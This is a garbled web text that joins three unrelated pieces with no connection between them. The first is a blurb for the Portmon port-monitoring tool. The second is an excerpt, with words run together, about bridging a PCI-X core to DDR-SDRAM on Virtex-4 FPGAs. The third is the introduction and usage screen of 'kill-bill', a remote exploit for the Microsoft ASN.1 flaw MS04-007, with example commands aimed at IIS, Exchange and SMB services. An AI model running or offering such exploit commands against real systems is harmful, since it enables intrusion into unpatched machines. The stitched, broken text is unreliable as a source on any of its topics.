(Portmon is an application that lets you monitor serial and parallel activity on your local system, or any computer on the network that you can reach via TCP/IP. It is the most powerful tool available for tracking down port-related configuration problems and analyzing application port usage.)

The Virtex-4 features, such as the programmable IDELAY and built-in FIFO support, simplifythe bridging of a high-speed, PCI-X core to large amounts of DDR-SDRAM memory. Onechallenge is meeting the PCI-X target initial latency specification. PCI-X Protocol Addendum tothe PCI Local Bus Specification Revision 2.0a ([Ref 6]) dictates that when a target signals adata transfer, "the target must do so within 16 clocks of the assertion of FRAME#." PCItermination transactions, such as Split Response/Complete, are commonly used to meet thelatency specifications. This method adds complexity to the design, as well as additional systemlatency. Another solution is to increase the ratio of the memory frequency to the PCI-X busfrequency. However, this solution increases the required power and clock resource usage.

I. Introduction This code exploits a previously undisclosed vulnerability in the bit string decoding code in the Microsoft ASN.1 library. This vulnerability is not related to the bit string vulnerability described in eEye advisory AD20040210-2. Both vulnerabilities were fixed in the MS04-007 patch. II. Screenshots $ ./kill-bill.pl . kill-bill : Microsoft ASN.1 remote exploit for CAN-2003-0818 (MS04-007) by Solar Eclipse <solareclipse@phreedom.org> usage: kill-bill -p <port> -s <service> host Services: iis IIS HTTP server (port 80) iis-ssl IIS HTTP server with SSL (port 443) exchange Microsoft Exchange SMTP server (port 25) smb-nbt SMB over NetBIOS (port 139) smb SMB (port 445) If a service is running on its default port you don t have to specify both the service and the port. Examples: kill-bill -s iis 192.168.0.1 kill-bill -p 80 192.168.0.1 kill-bill -p 1234 -s smb 192.168.0.1
